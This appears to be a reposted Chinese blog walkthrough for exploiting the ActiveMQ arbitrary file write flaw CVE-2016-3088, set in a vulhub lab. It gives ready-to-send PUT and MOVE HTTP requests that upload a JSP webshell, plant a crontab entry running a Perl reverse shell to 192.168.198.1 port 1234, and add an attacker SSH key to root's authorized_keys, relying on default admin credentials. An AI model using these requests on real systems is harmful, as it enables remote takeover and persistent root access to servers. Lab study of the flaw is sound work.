ActiveMQ任意文件寫入漏洞(CVE-2016-3088)


上傳webshell

容器用vulhub的

PUT一個jsp文件

MOVE到api目錄

默認的ActiveMQ賬號密碼均為admin,首先訪問http://your-ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的絕對路徑:

訪問

其它利用方法--轉

寫入crontab,自動化彈shell

這是一個比較穩健的方法。首先上傳cron配置文件(注意,換行一定要\n,不能是\r\n,否則crontab執行會失敗)

PUT /fileserver/1.txt HTTP/1.1
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 248

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.198.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};

將其移動到/etc/cron.d/root:

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: localhost:8161
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Length: 0

如果上述兩個請求都返回204了,說明寫入成功。等待反彈shell:

這個方法需要ActiveMQ是root運行,否則也不能寫入cron文件。

上傳SSH公鑰方式

既然可以任意文件上傳和移動,很自然的可以想到上傳我們的 ssh 公鑰,從而實現 SSH 方式登錄。

首先生成密鑰對。(如果已存在則不需要)

然后上傳、移動到/root/.ssh/並重命名為authorized_keys


之后直接ssh登錄即可。

參考:https://paper.seebug.org/346/
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2016-3088/README.zh-cn.md


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM